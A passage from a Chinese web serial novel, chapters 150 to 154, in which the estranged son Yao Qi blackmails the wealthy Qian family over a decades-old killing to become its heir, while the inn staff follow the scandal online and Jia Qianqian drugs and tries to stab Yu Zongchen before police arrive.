再后来更加劲爆,把贾芊芊和虞宗辰两个人亲密的不同花样都爆了出来,那天的热搜一度瘫痪,广大网友直呼卧槽。 最后,罗正松干脆也不审问姚祁了,每天盯着热搜看。 他也被这些证据和小道消息给震得一愣一愣的,他也很想知道姚祁的手里,还能爆出什么新花样来。 托这些内容的福,上头甚至也不给他施加压力了。 实在是姚祁虽然人在局子里,却展现出了超强实力和精密的谋划,这件事最后会走向什么结果,现在真的未可知。 正如裴应见所说,这一切,八成都是姚祁在自导自演罢了。 而他之所以这么做的目的,也很快得到了印证。 这天晚上,警局来了一个神秘女人,戴着帽子和口罩,穿了长款大衣,一整个包裹得严严实实,完全看不出是谁。 在内部人员的带领下,悄咪咪地走进了关着姚祁的屋子。 姚祁正要睡觉,见到来人却完全不惊讶,反而打了个哈欠,仍旧动手脱衣服。 倒是女人略显尴尬,看他动作不停,本来沉默的她终于忍不住出声: “你等等……我来,是想找你谈谈……” 姚祁这才顿住手,瞟了她一眼: “您哪位?这地方是谁说进就进的嘛,我可报警了啊。” 女人的脸被遮得严严实实的,听了这话,一双美目里也忍不住露出尴尬之色。 姚祁不想理她,转过去又忙活自己的事。 女人看着他清瘦的侧脸,美目里终于忍不住渐渐盈满了泪水。 她摘下帽子和口罩,向前走了两步,哽咽出声: “我……我是……” 却并不能说出完整的话。 姚祁转过头来,看到了她的脸。 女人虽然上了年纪,但保养得非常好,看起来比实际年龄能小了十岁左右,甚至说是姚祁的姐姐也会有人信。 而姚祁虽然并没有跟她见过面,但却是认识她的。 不,不能说认识,简直是太熟悉了。 又陌生又熟悉,这种感觉,让他难受得忍不住冷笑了出来。 女人看到他这样嘲讽的笑意,眼眶里的眼泪终于没忍住,大滴大滴地落了下来。 划过她白皙的脸颊,风韵十足,我见犹怜。 不得不说,她确实是美貌的,不然也生不出虞宗辰那样的美貌影帝儿子,而姚祁的美貌,当然也跟她脱不了关系…… 两人四目相对半晌,女人终于败下阵来。她哭着,身子一软,颓然坐倒在椅子上。 她拿出手帕,优雅地擦了擦眼泪,才继续哽咽说道: “你做这么多,不就是想见我吗?现在我来了,有什么话……” 姚祁冷笑着打断她:“钱女士是不是想得有点多了?我什么时候说想见你了?” 来人正是钱老先生的独女,钱家如今的继承人,钱晓风。 钱晓风擦干了眼泪,再次看向姚祁那张俊逸又有些似曾相识的脸。 好半晌,她终于叹了口气: “我知道,你心里怨我,可是当年的事情,并不是你想象的样子……” “你已经这么大了,很多事情也应该能想得清楚,冤有头债有主,有什么事你冲我来,不应该去折腾阿辰,他什么都不知道……” 钱晓风慢慢地说着,眼里已经没有了泪水,脸上也慢慢恢复了千金小姐的那份独有的淡定从容。 过去的几十年里,因为有着钱家人的撑腰和宠爱,她做人做事一向说一不二。 现在到了姚祁的面前,依旧如此。 话里话外,隐隐傲气,还有指责。 但,姚祁完全不吃她这一套: “我可听不懂钱女士在说什么,还有事吗?没事请回吧。” 顿了顿,他接着恶劣一笑:“回去早点睡,明天早晨记得早点起来看热搜哦。” 钱晓风闻言猛地一震。 实在是这几天她已经被热搜折磨得身心俱疲,无论钱家人多么努力地公关,那些对虞宗辰不利的消息就是层出不穷,怎么都处理不完。 导致她现在一听到“热搜”这两个字,就会生理性地难受。 若不是因为实在焦头烂额,她也不会这么着急大半夜的来找姚祁。 但是,钱大小姐这么多年,早就养成了吃软不吃硬的性子,姚祁这话,在她听来就是赤裸裸的威胁。 她是最不可能受人威胁的,哪怕是亲生儿子也不行。 “你想威胁我?哼!我原本还想,如果你肯收手,我就让阿辰跟你和解,毕竟这么多年,也算是钱家欠你的,可你却跟我说这些……” “那我不如跟你坦诚说了吧,除非你肯认罪,否则你就再也别想出去了!” “至于那些热搜,我自有办法,实在不行,阿辰不继续在娱乐圈里也就是了,难道我们钱家百年书香世家,还养不起阿辰么!” 钱晓风语气凌厉,原本是已经做好准备接下来要跟姚祁针锋相对了,谁知对面的姚祁却没了话。 半晌,他才幽幽看着她:“如果我肯认罪……你会认我吗?” 钱晓风被问得一愣。 再看姚祁,却见他本来戏谑戾气的一双眼此刻却慢慢地红了。 他别过头去,几不可闻地吸了吸鼻子。 然而这样隐忍的作态,却让钱晓风整个人猛地心神一震。 再看那越发熟悉的侧脸,慢慢地跟记忆里的人重合,她的心终于忍不住软了。 好半天,她终于哽咽地出声: “好孩子,是妈妈误会你了!原来你……都是妈妈对不起你,你原来……妈妈这就想办法让你出去!” 第150章 妈妈杀了爸爸 夜晚发生的隐秘没有太多人知晓,但第二天一早的热搜,却再次震惊了所有人。 网友们一整个惊呼大反转。 一大早,罗小胖也咋咋呼呼冲上二楼,正要敲秦绵绵的门,门却从里面开了。 出来的却是裴应见。 “她还没起呢。”裴应见淡淡道。 罗小胖:“……?” 裴应见不理会他的惊诧,拿过手机来看了看: “钱家和贾芊芊声称这件事都是误会,已撤诉,姚祁也被放了出来?” 罗小胖点点头:“应该假不了,我刚才也跟警局那边确认了,幺鸡确实被放出来了。” 顿了顿,他又嘀咕道:“但是这小子被放出来了却不回客栈,会去哪里?” 另一边,钱家。 钱家众人今天起得更早,但却没有人在意热搜了。 因为他们要迎接一个特殊的人。 就连被医生嘱咐要再观察几天看看的钱老先生也强自出了院。 他们要见的,是被钱晓风从警局接回来的姚祁。 为了迎接姚祁,钱晓风今天连美容觉都没睡,早早就收拾打扮坐在客厅等着。 管家引着姚祁进门之前,祖孙三代人又各自相对着哭了一回。 钱老先生感慨万千: “当年的事,说起来也怪我,要不是我逼你太紧,你也不会跟那个人偷偷走了。后来你回来了,但谁想到你和他竟然还有一个孩子!” 钱晓风哭道:“但是当时他跟我说,孩子生下来就死了,我也不知道他竟然把孩子丢掉了。这孩子这么多年,吃苦了……” 两个堂兄也在旁边劝慰钱晓风,说孩子回来了就行,没有什么比一家人团圆更好的了,孩子小时候吃了苦,以后补偿他就是了。 最尴尬的莫过于站在旁边的虞俞和虞宗辰父子。 当年跟钱晓风在一起的时候,是钱晓风先追求的他。 虽然虞俞当时眼高于顶,并看不上钱晓风,但最后还是被她打动拿下了。 可虞俞跟钱晓风过了这么多年,对这件事却一点都不知情。 现在天上突然又掉下一个儿子来,他的心情可想而知。 虞宗辰的心情也很复杂,他也没想到跟他作对的人竟然是自己同母异父的兄弟。 不过他比较乐观,想着毕竟是亲兄弟,他既然回来了,以后一定好好相处,大不了自己以后多多照顾他就是了。 然而,他们都不知道的是,他们把这件事都想得有点太简单了。 不多时,姚祁在管家的带领下走了进来。 钱老先生见状,连忙带着众人迎接。 钱老先生伸出手去,正要说话,却见姚祁忽然退后了一步,露出一个似笑非笑的表情来。 所有人登时都愣在原地。 钱晓风也懵了,回过神来,她赶紧说: “看这孩子,在自己家还认生呢,快过来,我给你介绍……” 但谁料,姚祁嘴角那一丝讥讽的笑意更甚了。 “介绍就不用了。”他扫视了一眼客厅中的所有人,“在座的各位,我没有一个不认识的。” “钱老先生就不必说了,哦不对,现在应该改口叫外公了。外公,您别介意呀。” 钱老先生脸上的笑容慢慢收敛了起来,直觉告诉他,今天的事情,似乎不太对劲。 他转头示意管家带着所有的佣人都出去了。 姚祁又看向虞俞和虞宗辰父子:“两位大明星就更不用说了,天下谁不认识。” 最后,他的目光又落在钱晓风的两个堂兄身上。 “大舅舅钱忠,现在管着钱家三分之二的产业,外公的得力助手。” “二舅舅钱良,手底下管着外公最看重的一些文化相关的产业,同时也是钱家对外的话事人。” “两个舅舅如此重要,我又怎么会不认识呢?” 听到他特意提及两人所管理的产业,在场的人表情都忽然变得微妙起来。 姚祁也并不打算跟他们废话,他越过众人,直接走到客厅正中的沙发上坐了下来。 他双手展开搭在沙发靠背上,微微昂头,戏谑而凉薄的目光从在场的每一个人脸上掠过。 半晌,他幽幽开口: “在我回来之前,两个舅舅管理这些产业,兢兢业业,十分勤苦。如今我回来了,两位舅舅,也可以休息了。” 钱忠脸色一变:“你这是什么意思?!” 姚祁笑笑:“就是字面意思咯。不然你们以为我为什么千辛万苦找回来?” 他身子往后仰了仰,甚至翘起了二郎腿。 “我这么大费周章地回来,当然就是来继承家产的呀。” “外公,我只给您半天……算了,年纪大了,放宽点吧,我给您12个小时的时间,对外改立我做钱家的继承人。否则的话……” 他的语气不紧不慢,却字字锥心,谁料却忽然在这里顿住。 钱老先生捏紧拐杖,咬牙道: “否则什么?” “否则……”姚祁笑得肆意,“否则就不要怪我把妈妈当年抛夫弃子、杀人埋尸的事情,说出去咯。” 钱老先生一双眼睛猛地瞪大:“你,你说什么?!杀人?!” “怎么,外公难道不知道吗?我的好妈妈……” 从进门开始,始终未曾给过钱晓风一个眼神的姚祁,终于看向了一旁的钱晓风。 但此时此刻,她却再也没有了昨夜的贵妇风范。 此时她脸色苍白如纸,刚刚擦过眼泪的手也在微微发抖,望着姚祁,满脸的不可置信。 姚祁嘴角的笑容却愈发冰冷: “我的好妈妈,当年其实并没有跟我的亲生父亲分手,而是直接把他……杀了。” 最后两个字出来,大厅中简直落针可闻。 而众人脸上的表情,也都各不相同。 姚祁抬眼冷冷看过去,饶有兴致地研究着他们的神情。 钱晓风就不用说了,她昨夜哭得梨花带雨,满心都是对这个儿子的亏欠。但谁能想到,姚祁全都是在骗她,为的就是此刻这一幕。 而钱忠和钱良两个人,面上除了震惊还有愤然和恐惧。 很显然,当年的事情他们是知道的,而且很有可能就是他们帮钱晓风善后的。 至于虞俞和虞宗辰父子,他们两个现在就好像两个傻子一样,已经成了不会动的木头人。 但虞俞好歹是在娱乐圈摸爬滚打了多年,此刻脸色更加灰败一些。 因为他应该知道,姚祁这是有备而来,而且一击必中。钱家的人,已经完全没有翻身的余地了。 而钱家要是倒台,那最先倒霉的,就是他们父子俩。 第151章 开始讲故事 最要命的是,现在谁也不知道,眼前这个看起来满脸戏谑顽皮的年轻人,私底下藏着的心到底是多么的深。 更没有人知道,他到底打算要什么,要多少。 想到此处,虞俞整个人简直如同被人用冷水从头泼下,整个人从头凉到脚。 但一旁的虞宗辰,心眼子却比老爹少得多了。 他木楞了片刻,最先反应过来,立刻激动地冲到钱晓风面前,把她护在身后: “你胡说!妈妈好心救你出来,你却在这里胡言乱语,造谣污蔑她!你到底是安的什么心!” 姚祁挑眉看看他,几乎笑出了声: “有没有胡说,你问问你的好妈妈,不就知道了吗……哦不对,是咱们的好妈妈,你说是不是……哥哥。” 虞宗辰还想说什么,身后的钱晓风却扑通一声,整个人跌坐在了身后的沙发里。 虞宗辰赶忙去扶她,却在看见她苍白的脸色之后,突然呆住。 钱晓风的眼泪簌簌落下,脸色苍白,嘴唇发抖。 所有的情形都已经在无声表明,姚祁说的可能是真的。 虞宗辰这下也彻底懵了。 同样懵的人,还有钱老先生。 如同众所周知的那样,钱家是百年书香世家,钱家的祖上还出过上过教科书和历史书的大人物。 到了钱老先生这一代,也未曾辱没门楣。 钱老先生年轻的时候求学期间,就曾在路途中和同学们合力杀过敌人,后来更是笔耕不辍,为抗敌救亡而奔走,在南方一带颇有影响力。 后来天下大定,他还放弃了国外的高薪聘请,越过重重阻碍偷偷回来,最后在大学做了一个普普通通的老师。 他带出过无数优秀的学生。 他的学生们后来都成为了各行各业的人才,钱家的旁支后辈们也不乏顶尖人才,都是为祖国建设出过自己一份力量的。 就是这样的一个德高望重的老前辈,在今天这个时候,却被自己的亲外孙揭发出来,说自己的独生女儿,曾经杀过人? 杀的还是这个孩子的亲生父亲? 客厅中一片死寂。 所有人都有些不知所措。 钱老先生紧紧捏着拐杖,抬眼看向钱晓风。 好半晌,他终于哆哆嗦嗦问出声: “他……说的都是真的?” 钱晓风却不敢回望自己父亲。 钱老先生重重咬牙,怒而拔高声音: “他说的可都是真的?!!” 沙发上的钱晓风哇的一声哭了出来,在钱老先生的暴怒之下,直接从沙发上滑落。 “爸爸,你听我解释,事情不是这样的,当年其实……” 然而钱老先生却没法听她解释了。 只见他忽然瞪大眼睛,接着猛地张口,噗地喷出一口鲜血,然后整个人直挺挺向后倒去! “爸爸!” “外公!” “叔叔!” 众人疯了似的围上去,手忙脚乱地把钱老先生往医院送。 只有姚祁一个人还稳坐在正中的沙发上,望着众人远去的背影,再次冷笑起来。 好半晌,他才施施然起身跟了上去。 …… 这一回,钱老先生直接被送进了手术室。 按理说,年纪这么大了,心脏有问题医生也不建议做手术,因为谁也不能保证病人到底能不能下了手术台。 但这次医生直接就下了病危了,没办法,只能手术赌一赌。 手术室外,钱家人神色各异,但都默契地没提刚才的事情。 但姚祁却并不打算给他们平静的机会。 他以家属的身份,轻而易举就闯入了手术的楼层。到了看到众人坐得整整齐齐,他反而有点不高兴。 “谁签的手术同意书?” 众人都被问得一愣。 钱晓风后知后觉:“我签的,怎么了?医生说手术的话还有一丝机会,不手术爸爸就……你难道想害死爸爸?他可是你的亲外公,而且他什么都不知道!” 虞宗辰也急了,蹦起来揪住姚祁的衣领: “你到底想怎么样,你想害死外公吗!!” 姚祁却并不打算跟他动手,瞥瞥他的手,冷笑道: “再不放手,明天你的头条又加一个。” 虞俞连忙过来劝:“别让外人看了笑话,再怎么说,这也是自家的事。” 虞宗辰这才放了手。 姚祁理了理衣领:“还是虞老师有心胸,会审时度势。” 他的目光又在众人面上扫了一遍,最后道: “我没说不让签字救外公,我只是想告诉你们,以后钱家的所有事,都要由我来做主。我不同意,谁也不准擅自行动。” 钱忠气得蹦起来: “小兔崽子,反了你了!” 姚祁瞪他一眼:“当年抛尸的是你,对吧?” 钱良伸手过来要打他,姚祁又说:“把我扔在冰天雪地里的是你,对吧?” 再也没有人说话了。 最后,所有人都颓然坐在了椅子上。 姚祁看他们终于老实,这才开始讲故事。 钱晓风作为钱老先生的独女,从小娇生惯养,出了名的任性。 完成学业之后,钱老先生本来有意让她接受家里的产业,她却只爱玩闹。 不学无术不说,还每天出入那些声色场所,身边的男人更是来去如流水。 但钱老先生溺爱这个女儿,也觉得女孩子闹不出什么大事情,所以从来都是睁一只眼闭一只眼。 直到有一天,钱晓风勾搭上一个男学生。 男学生才刚刚大一,而且出身寒门,成绩优异,在钱晓风眼里,简直要多纯情有多纯情。 钱晓风久经情场,简直不费吹灰之力就把男学生拿下了,还让他对自己爱得欲生欲死,欲罢不能。 让人意外的是,这次钱晓风倒是也很长情,竟然就老老实实地跟男学生谈起了恋爱。 期间还在男学生的劝说下,听从钱老先生的建议,回家学习经营之道,准备接手家族事业。 钱老先生高兴于钱晓风的变化,却并不知道背后有这么一个人。 两个人就这么谈了两年,钱晓风经不住男学生的怂恿,终于打算对家里坦白这段恋情。 谁想到却遭到了钱老先生的激烈反对,原因是两个人身份家世相差太大,而且年龄差距也很大,各方面都很不合适。 钱晓风不肯听劝,竟跟钱老先生大吵了一架后,直接跟男学生私奔了。 第152章 “杀”掉这个有病的孩子 两人这么一走就是一年多,期间倒也不是说人间蒸发,只是父女两个人怄气着,谁也不肯先服软,因此一直不见面。 但钱老先生还是早早就打探到了钱晓风的行踪,还总是暗中给她接济。 但他却不知道,他的宝贝女儿,竟然在这一年多的时间内,直接怀孕生下了一个孩子。 最重要的是,这个孩子生下来就有点毛病,抱到医院检测,竟然说是有基因病,治不好的那种。 姚祁讲到这里,脸上那凉薄的讥笑更甚: “世代书香的钱家,怎么能有一个残疾的后代呢?何况还是那种据说长到一定岁数就会发病,根本治不好的病。……” 众人都静静看着他。 有一说一,姚祁现在的样子虽然有点冷酷,但并不像是有病的样子。 难道是被姚家收养之后,给治好了? 姚祁真的就大大方方承认:“没错,我现在已经好了。” 他的目光落在讶然的钱晓风脸上:“这个结果,当初你应该不会想到吧。也是,如果你早就想到了,也不会直接想把亲生儿子扔了。” 钱晓风立时好像被人踩住了尾巴:“我没有想把你扔了!我……” 姚祁抬抬手,做了一个噤声的表情: “好了,不许说了。” “有没有,我作为当事人,当然更清楚。那天晚上,你想扔掉的不光是我,还有我的亲生父亲,不是吗?” “但是你却低估了他对你的……嗯……我们姑且称为爱吧……你太低估了他,他连学业都能放弃就为了跟你私奔,怎么可能舍得跟你分手,何况连孩子都有了。” “可是养尊处优多年的大小姐你,却已经厌倦了这种生活,你想回去了,我和他,都是你的累赘,于是你一不做二不休……” “那天晚上,你杀了他,扔了我。如果你是一个普通人也就罢了,这件事很快就会爆出来,你跑不了。” “但你不是普通人,你还有两个宠你入骨的哥哥,你把他们叫了来,于是他们一个负责抛尸,一个负责把我扔到冰天雪地里冻死,而你们连夜离开,等天一亮,世界干干净净……” “你回到钱家,又做起了你的大小姐,还在几年后搭上了大明星,成功让他入赘,不久后,你又有了一个乖巧可爱的儿子,于是你再也不记得那个被你扔掉,冻死在那个冬天的孩子。” “但你们却绝没有想到,我竟然没有死。” 钱晓风的脸更白了。 尽管这里并没有别人,私密性很好,但她还是浑身发冷。 她止不住地发抖。 她已经在想如果这些事情爆出去,对于钱家来说,将会是怎样的灭顶之灾了。 钱晓风的眼泪簌簌坠落,泣不成声。 她挣扎着站起来,抓住姚祁的衣袖: “不是这样的,不是……我不是故意的,我是失手,我不是故意要杀他的……” 姚祁一把甩开她:“把我扔在雪地里,一点活路都不给,也是失手?” 钱晓风不说话了。 她转头看向负责“杀”掉这个有病的孩子钱良,钱良却别过脸去不敢看她。 钱晓风六神无主,只剩下了哭而已。 她这辈子遇事一向随心而为,反正不管多大的事情,都会有人给她兜底。 而现在,从前一向为她兜底的人却已经命悬一线,她再也没有了依仗,也根本就不知道怎么办才好了。 最后,还是一直主事的钱良开口了: “你说了这么多,到底想做什么?” “我不是早就说过了?我要做钱家的实际掌控人,拿回本该属于我的一切。” 钱良还没说话,钱忠突然站起来:“我不同意!你心术不正,钱家交到你手里,那我们……” “你们什么?你们这些人没有活路么?怎么,做了坏事的人,都像你一样渴望善终?” 姚祁讥笑道。 众人却被这笑容弄得毛毛的。 他们有理由相信,这么处心积虑杀伐果断的姚祁,如果真的被他接管钱家,他是真的有可能赶尽杀绝的。 气氛一时陷入了诡异的静默。 不远处手术室上面红彤彤的【手术中】三个大字此刻显得格外刺眼。 如果钱老先生现在还健康,会怎么处置这件事呢? 他是会接纳姚祁,把钱家交给他?毕竟这确实是本该属于姚祁的一切。 还是会因为他的威胁,悄悄下黑手,把他做掉?但听起来,这不像是钱老先生会做的事情。 所有人的心里都在飞速地思索着。 但姚祁却没这个耐心等待。 他时间很紧。 看了看手表,姚祁在椅子上坐下: “好了,故事也讲完了,现在到你们表态的时间了。毕竟是我的家人,你们很幸运,有整整一……分钟的时间考虑。” 钱晓风瞪大眼睛:“我如果不同意呢?!” 姚祁扬了扬手机:“那一分钟之后,关于这些事的资料,会分别发到网上和警察局那里。” 接着他看看手表:“42秒。” 钱忠怒道:“你早就做好准备威胁我们了是不是?这一切都是你一手策划的是不是?” “28秒。” 钱良:“小祁,你冷静一点,我们还能再商量……” “15秒。” 所有人的脸都白了。 最后,虞宗辰猛地站起来,大步走到姚祁面前: “好了!我同意了!” 钱晓风立刻哭着抱住他:“阿辰,你犯什么傻!” “这件事如果爆出去,我们钱家就全完了!一个人都保不住!现在牺牲我一个,能保住所有的家人,也算值了!再说这些年,这也是我们亏欠他的!” 虞俞也走上前来,抱住了钱晓风:“阿辰做得对。” 但夫妻两个的脸色都不太好。 钱家换了继承人,这也是大事,一定会被媒体捕风捉影,何况现在虞宗辰他们本来就在风口浪尖上。 也就是说要想给姚祁正名,虞宗辰就一定会被污名,他的职业生涯就完了。 他在牺牲自己,保全全家人。 一家三口抱着哭成一团,钱忠和钱良也都走上前去安慰。 但姚祁的声音却再次不合时宜地响起: “5,4,3……” “好了我答应!” 钱晓风哭倒在众人怀里。 姚祁耸耸肩: “很好,有爱的一家人,希望以后相处愉快。” 话音刚落,手术室的门开了,一脸疲惫的医生走出来:“恭喜。手术成功,病人安全了。” 第153章 不许听 “新晋影帝虞宗辰正式被海城钱家除名。” “疑似私生子用尽手段认祖归宗。” “海城钱氏悄悄更换继承人,原话事人正式退居二线……” “虞姓影帝疑似当年被抱错,百年世家上演真假少爷大戏……” 一大早,小小情报员罗小胖就坐在客厅大桌前,拿出手机第一时间看新闻。 众人也都没开始干活,先围在他身边看八卦。 八卦什么的,比干活重要多了,关键是客栈老板秦大掌柜,也混在看八卦的人堆里。 罗小胖啧啧两声,又滑动手机: “幺鸡据说上午有一个直播采访,还有半个多小时。” 众人顿时做鸟兽散,洗漱的洗漱,做饭的做饭,争取在直播开始之前搞定一切,继续回来看八卦。 吃饭的时候,罗小胖照例分享了一下警局那边的最新情况。 姚祁这边的事情落下定论之后,虞宗辰和贾芊芊那边立刻就撤诉了。 叶子舟推推眼镜:“虞宗辰倒是可以理解,但贾芊芊好不容易搞了这么一出,她怎么会轻易同意撤诉呢?” 罗小胖道: “听说是找到了新的证据,再不撤诉,她自导自演的事就要穿帮了。到时候别说撤不了,说不定她自己反而得进去。” 姜芙愤愤:“便宜这个贱人了,把我们客栈折腾得够呛,竟然就这么全身而退了。” 罗小胖笑笑:“嘿嘿,那也不一定。” 但不管怎么样,姚祁那里一成功,网上的风向一下子就变了,甚至也已经开始有网友在替客栈和景区正名了。 景区的客流量也在逐步恢复,度假中的赵立生也被景区的摊主老板们连环call给叫了回来,预计下午就会一脸怨念地来上班。 但秦绵绵还是比较关心所谓的新证据:“是人证还是物证?” “额,是物证。” 也就是说,那个疑似姜飞飞的人,还是没有消息。 但贾芊芊一个人肯定是完不成这么复杂的栽赃的,这件事还有很多可查的地方,罗正松应该也清楚吧。 但至于到底怎么去查,那就不是秦绵绵能管得到的了。 众人说着话,直播开始了。 姚祁一出现,众人都是眼睛一亮。 今天的姚祁竟然罕见地穿了正装,但这人即便穿着正装,也掩盖不了身上的那股子若隐若现的痞气,反而因为这痞气,这身西装倒是穿出了一种别样的味道。 看到如此帅气的姚祁,大伙儿跟着纷纷露出复杂的表情。 叶子舟叹了口气: “谁想到幺鸡这家伙竟然藏得这么深,到咱们客栈来,目的也不单纯……” 众人都是恨恨。 只有秦绵绵神色依旧,因为从一开始,她就没相信过姚祁所谓的报恩的说法。 至于后来他一次次在暗中的帮助,其实她都有所察觉,只不过知道他并没有恶意,所以也就一直没拆穿罢了。 直播里,主持人开始问姚祁问题,谁知姚祁却并没有回答,看了看主持人,忽然拿过了话筒: “大家好,我是姚祁。海城钱氏的新继承人。今天之所以会开这个直播,主要是想澄清一件事,那就是关于之前的客栈视频事件……” 众人都非常惊讶。 因为大家原本以为,他会在直播里再抖搂一下虞宗辰的黑料之类,好让自己这个继承人做得更稳一些。 但没想到他竟然第一时间说起了关于客栈的事。 罗小胖乐了:“这幺鸡也不是那么没良心嘛。” 谁知话音未落,二楼忽然传来一阵重重的脚步声。 众人抬眼一看,便见晚起的裴应见,带着三分慵懒,慢慢地走下了楼来。 他也不说别的,径直就走到秦绵绵身边,幽幽道: “饿了,给我做饭。” 众人都围在一起看直播,他却一眼都没有往手机上看,就只逮着秦绵绵一个人看。 罗小胖站起来:“哎呀,掌柜的做的那饭能吃嘛,还是我给你做吧!不过咱能不能稍微等那么一会儿,这会儿幺鸡正直播呢。” 谁知裴应见却一个眼刀飞过来,罗小胖顿时不说话了。 秦绵绵对上裴应见的脸:“裴先生自己不也是一手好厨艺么,不看直播的话,自己做去呗,我们还要看……” 然而话没说完,却被裴应见一把抓住了手腕: “不要,我就爱吃你做的。” 不由分说,就把秦绵绵拉走了。 这个时候,手机里正传来姚祁的声音: “……所有的一切都是贾芊芊和虞宗辰自导自演,如意客栈的掌柜秦小姐完全是无辜的,秦小姐为人仗义,待客热情,客栈和景区也都很好……” 姜芙忍不住道:“这臭小子,倒也不算太缺德。” 众人围着手机,都看得津津有味,刚才那点儿对姚祁的埋怨,也在他这番花式吹捧之中烟消云散了。 唯有裴应见,第一时间伸手捂住了秦绵绵的耳朵: “不许听。” 他低下头来,贴近她的秀发,“不许听有关那厮的任何事。” 秦绵绵在下面,悄悄伸出手来,戳中他腰间的软肉: “裴大侯爷在以什么身份跟我说这话?” 裴应见声音闷闷:“我正想问问你呢。” 秦绵绵却倏忽一钻,就从他手臂下面溜了出去:“大侯爷今天想吃什么呀,我给你好好露一手!” …… 新闻出来之后,处在风口浪尖的虞宗辰自然没被媒体放过。 但却并没有媒体真正找到他的行踪,狗仔们都认为他还躲在钱家别墅,纷纷在附近蹲点,但却只蹲到了姚祁正式搬回钱家的画面。 钱老先生虽然脱离了危险,但这么大岁数,经历这种大手术,身体是极度虚弱的,钱家的人大部分都陪在医院里。 只有钱良一个人陪同姚祁回来。 东西都搬进来之后,自有佣人去收拾。钱良把姚祁拉到一边,踟蹰了半晌,终于开口道: “小祁啊,叔叔让我跟你说一声……谢谢。” 姚祁似乎很惊讶,但也并不太惊讶。 笑了笑,挑眉道:“客气什么,都是一家人呀。” 钱良脸色很是纠结。 钱老先生醒来之后,给钱家众人开了一个会,意图解开他们心里的疙瘩。 第154章 你这个废物 他着重强调了姚祁的能力和跟钱晓风的血缘关系,试图让众人接受这本来就是姚祁应得的。 毕竟如果真的比较的话,两个孩子之中,很显然姚祁是要比虞宗辰更适合做钱家继承人的。 姚祁本该得到这一切,钱家亏欠他很多,如果说他有错,也就是手段激烈了一点,带着报复的意味。 钱良慢慢叹口气:“叔叔说,这件事,换谁来谁都会报复的,让我们……不要记恨你。” 姚祁笑了笑,没答话。 半晌,他忽然道:“其实外公应该谢的是你,二舅舅。” 钱良很惊讶。 “如果当年你不是把我扔在孤儿院门口,而是随便找个垃圾桶扔了,那也就没有后来的这些事了。” 姚祁说完,转身就走了,独留钱良愣怔在原地。 半晌,他望着姚祁的背影,深深叹了口气。 虽然他到现在还不知道到底应该怎样评价这个年轻人,但扪心自问,他不算坏得彻底。 对帮助过他的秦绵绵和客栈众人,他不遗余力地出手帮忙;对于给了他重大伤害的钱家,他也没有赶尽杀绝。 甚至虞宗辰虽然被毁了名声,他也给了他体面的“真假少爷”的谎言,还给他找到了藏身处,确保不会被媒体找到。 这个年轻人,他的心里,到底在想些什么呢? …… 海城,靠近海边的一处新开小区里。 因为是新交房的楼盘,周边的配套也还不怎么齐全,所以这个小区的入住率并不高,但环境很不错。 虞宗辰就被姚祁藏在这里。 一起藏在这里的,还有名声也跟着臭到底的贾芊芊。 关于贾芊芊的事,来这里之前虞宗辰曾经问过姚祁的意见,毕竟她是污蔑秦绵绵的始作俑者,姚祁一定不会很轻易就放过她的。 而他也想好了,如果姚祁一定要针对贾芊芊,那他和姚祁就还有的斗。 但谁也没想到,姚祁根本就没把贾芊芊放在心上,只说让虞宗辰自己看着办。 得知虞宗辰要带贾芊芊一起去躲风头,姚祁也什么都没说,只是笑了笑。 而现在,虞宗辰开始觉得,姚祁的那个笑,是在嘲笑。 因为夜半他醒来的时候,正好看到贾芊芊收拾好东西,准备离开的身影。 两个人在门口对峙住。 虞宗辰很是受伤:“你要走?” 贾芊芊冷笑:“不走干什么,难道真的陪你在这里吃糠咽菜?你不会还以为你还是原来那个大影帝,钱家继承人吧?虞宗辰你醒醒吧,你现在什么都不是了!你连个废物都不如!” 虞宗辰震惊地看着她,一脸的不可置信。他的嘴巴张张合合,半晌,一个字都没说出来。 但看着眼前好似受伤小狗一样可怜的男人,贾芊芊却再也没有了从前的怜悯和爱抚。 她的眼中此刻只有厌烦。 “让开!” 虞宗辰咬着牙,不肯挪动身体。 “我以为,我们也算是苦尽甘来的,谁知道,这不是你想要的……” 贾芊芊冷笑连连。 “你这么天真,怪不得能让那个姓姚的耍得团团转。” 提到姚祁,贾芊芊的脸上又浮现了一种十分想得到但是没得到的嫉恨神情。 这种神情落在虞宗辰眼里,更让他受伤不已。 本来能带着贾芊芊来这里,他内心还是很高兴的。 因为他觉得一切都结束了,虽然不能再演戏,但离开了娱乐圈的纷纷扰扰,能和自己的爱人安安静静在一起生活,以后的日子应该每一天都会幸福平和。 但谁知道,他的爱人根本不想要这种幸福平和,甚至,连他都不想要了。 贾芊芊已经没了耐心: “让开,让我走!踏出这个门,以后我们各走各的路,再没有任何关系!” 虞宗辰却不愿意。 一瞬间,他想起很多从前种种,想起自己一开始是怎样对贾芊芊嗤之以鼻,又是怎么样一步步被她引诱沦陷。 现在他已经沉沦不再能走出去,她却要离开了。 见他不肯让路,贾芊芊急了,拉开他就要硬闯。 虞宗辰一把抓住她的手,贾芊芊奋力想挣脱,却全然不是他的对手。 就在两个人僵持的时候,虞宗辰忽然觉得一阵头晕目眩。 抓着贾芊芊的手也跟着松脱了,贾芊芊随便一推,虞宗辰就扑通一声倒在了地上。 “芊芊……你……你给我吃……” 贾芊芊嫌弃地退后一步:“我就知道你这种傻蛋一根筋,肯定不会愿意让我走,晚上给你煮的粥里,我加了东西。” 她不愿意说太多,转身就去开门。 虞宗辰却不知道哪里来的力气,纵身扑上去,抱住了她的脚踝。 “芊芊,不要,不要丢下我……” 贾芊芊看看时间,她定好的车的出发时间马上就要到了,她急了,用力一踹: “你给我松开!松开!” 虞宗辰却绝不肯松开,反而抱得更紧。 他也发了狠: “我不!我已经什么都没有了!只有你!我绝不放手!要死我也要跟你死在一起,我绝不放手!!” 贾芊芊愣了愣,终于眼睛一瞪: “谁要跟你这种废物死在一起,要死也是你死!去死吧,你这个没用的废物!!” 说着,忽然不知道从哪摸出一把小刀,径直朝虞宗辰的胸膛扎下去—— 而虞宗辰,他因为药物作用眼前早已模糊一片,又因为用力抱着贾芊芊,完全没有空间闪躲。 眼看就要被刺伤,就在这千钧一发的时刻,房间大门突然被人从外面破开。 数个便衣飞速冲进来,一把将贾芊芊按倒在地。 一身冷肃的罗正松紧随其后: “贾芊芊,你涉嫌故意伤人,跟我们走一趟!” 然而,警局里,贾小姐却并不配合。 毕竟是曾经不可一世的大小姐,胡搅蛮缠最是有一套。 “我根本就没伤害他!那是我们之间的情趣,你们懂什么!我要见我的律师!” 但她没有想到的是,罗正松把她弄来,为的根本就不是她跟虞宗辰之间的那点小儿科。 